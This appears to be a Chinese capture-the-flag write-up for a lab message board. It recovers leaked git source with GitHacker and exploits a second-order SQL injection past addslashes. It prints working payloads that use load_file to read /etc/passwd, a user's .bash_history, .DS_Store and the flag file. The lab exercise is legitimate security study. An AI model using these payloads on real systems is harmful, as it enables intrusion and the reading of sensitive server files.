目录
一、环境
二、解题
首先我们通过靶场进入发现是一个留言板
2.1资产收集
通过dirsearch收集目录
获取一个重要资产目录,我们通过访问,很清楚是一个.get的源码泄露,我们尝试恢复一下,恢复工具为githacker
工具
安装:
python3 -m pip install -i https://pypi.org/simple/ GitHacker
开始恢复
githacker --brute --url http://5181a91c-957e-4e78-b4c6-874574eb57aa.node5.buuoj.cn/.get/ --output-folder result
恢复源码如下
//write_do.php
<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id'";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
2.2源码分析
2.2.1源码中写了一个get[do]这个参数
点击发帖我们可以看到
而源码中这个地方没有注入点因为有addslashes(php中防注入函数)
我们提交个数据看看详情,代码是走到了comment底下
而这个地方很明显没有过滤
而addslashes在我们输入数据的时候'确实会转译但是当其入数据库后就会又被转译为单引号,因此理论形成
入库以后:
2.3开始输入payload
insert into comment
set category = ' ',content=user(),/*',
content = '*/#',
bo_id = '$bo_id'";
1234
开始后面拼接注释掉
注入点出现
开始找flag
读取一下用户看看历史记录
',content=(select(load_file("/etc/passwd"))),/*
有个www用户
查看bash_history : 保存了当前用户使用过的历史命令,方便查找
在/home/www/下
',content=(select(load_file("/home/www/.bash_history"))),/*
看见他删除了 .DS_Store 文件,由于目标环境是docker,所以 .DS_Store 文件应该在 /tmp/html 中。而 .DS_Store 文件中,经常会有一些不可见的字符,可以使用hex函数对其进行16进制转换
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
很明显找到flag文件了flag_8946e1ff1ee3e40f.php
读取flag
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
',content=(select hex(load_file("/tmp/html/flag_8946e1ff1ee3e40f.php"))),/*
假的flag
那肯定是/var/www/html了去读取一下
拿到